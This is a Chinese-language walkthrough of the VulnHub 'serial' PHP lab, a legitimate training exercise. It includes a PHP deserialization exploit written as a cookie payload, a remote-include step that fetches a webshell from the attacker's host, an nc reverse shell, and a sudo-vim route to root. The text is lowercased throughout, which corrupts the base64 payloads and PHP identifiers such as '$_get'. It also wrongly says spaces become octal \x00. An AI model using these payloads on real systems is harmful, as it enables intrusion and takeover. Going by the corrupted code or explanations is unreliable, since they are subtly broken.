当前位置: 代码网 > it编程>编程语言>Php > vulnhub靶场serial-php渗透(蜥蜴细!)

vulnhub靶场serial-php渗透(蜥蜴细!)

2024年08月02日 Php 我要评论
整理思路: 首次访问网站后,后台会创建一个user对象,并且内部又为wel变量创建welcome对象,同时进行序列化base64编码存入cookie,我们抓一下页面的包,发现cookie。1.首先访问80端口,页面只有一行文本:Hello sk4This is a beta test for new cookie handler,在首页中并未有任何有价值的信息。经过扫描后我们我们尝试访问扫描结果对应的目录,结果发现在/backup目录下存在压缩包。这里的cookie便是后台通过base64编码后的结果。

目录

一、信息收集

1.探测主机存活(目标主机ip地址)

2.访问web服务

3.后台目录和端口扫描

4.解析bak.zip源码

二、漏洞利用

1.构造payload

2.通过bp的repeater模块

3.get shell

4.获取反弹shell

三、提升权限

1. 查看系统版本,内核版本。

2. 查看根目录发现存在敏感文件credentials.txt.bak。

3.打开查看是用户名和密码,ssh登录。

4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户nopasswd。

5.尝试提权,试试sudo vim,进入到命令模式输入!bash。

6.提权成功


一、信息收集

1.探测主机存活(目标主机ip地址)

2.访问web服务

1.首先访问80端口,页面只有一行文本:hello sk4this is a beta test for new cookie handler,在首页中并未有任何有价值的信息

3.后台目录和端口扫描

开启80和22端口说明可能用到远程连接。

经过扫描后我们我们尝试访问扫描结果对应的目录,结果发现在/backup目录下存在压缩包

4.解析bak.zip源码

下载解压后,存有三个php文件

整理思路: 首次访问网站后,后台会创建一个user对象,并且内部又为wel变量创建welcome对象,同时进行序列化base64编码存入cookie,我们抓一下页面的包,发现cookie。

这里的cookie便是后台通过base64编码后的结果

使用base64解码后得到的结果

o:4:"user":2:{s:10:"username";s:3:"sk4";s:9:"userwel";o:7:"welcome":0:{}}7

二、漏洞利用

1.构造payload

由于空格在url地址中无法识别,所以将所有空格转为8进制\x00 同时由于文件包含参数为type_log,所以内容应为文件路径

o:4:“user”:2:{s:10:“\x00user\x00name”;s:3:“sk4”;s:9:“\x00user\x00wel”;o:3:“log”:1:{s:8:“type_log”;s:11:“/etc/passwd”}}

编码后的payload如下:

tzo0oijvc2vyijoyontzojewoiiavxnlcgbuyw1lijtzoju6imfkbwluijtzojk6igbvc2vyahdlbci7tzozoijmb2cioje6e3m6mtm6igbmb2cadhlwzv9sb2cio3m6mte6ii9ldgmvcgfzc3dkijt9fq==

2.通过bp的repeater模块

成功访问到信息,可以看到sk4用户属性为/bin/bash

3.get shell

1.构造序列化语句上传shell

<?php @system($_get['cmd']);?>

2.然后构造payload:

o:4:"user":2:{s:10:"\x00user\x00name";s:5:"admin";s:9:"\x00user\x00wel";o:3:"log":1:{s:8:"type_log";s:26:"http://本地ip/c.txt";}}

然后进行序列化和base64编码执行。代码如下:

<?php
  class log {
    private $type_log = "http://192.168.3.222/c.txt";
  }

  class user {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new log();
  }
}
$obj = new user();
echo base64_encode(serialize($obj));

64编码后的payload:

tzo0oijvc2vyijoyontzojewoiiavxnlcgbuyw1lijtzoju6imfkbwluijtzojk6igbvc2vyahdlbci7tzozoijmb2cioje6e3m6odoidhlwzv9sb2cio3m6mju6imh0dha6ly8xotiumty4lju2ljevc2hlbgwudhh0ijt9fq==

3.用burpsuite上传

成功执行一句话木马

4.获取反弹shell

直接使用nc工具来尝试回弹一个shell

在kali中使用nc监听7777端口等待靶机访问

成功回弹!!

三、提升权限

1. 查看系统版本,内核版本。

2. 查看根目录发现存在敏感文件credentials.txt.bak。

3.打开查看是用户名和密码,ssh登录。

4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户nopasswd。

5.尝试提权,试试sudo vim,进入到命令模式输入!bash。

6.提权成功

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com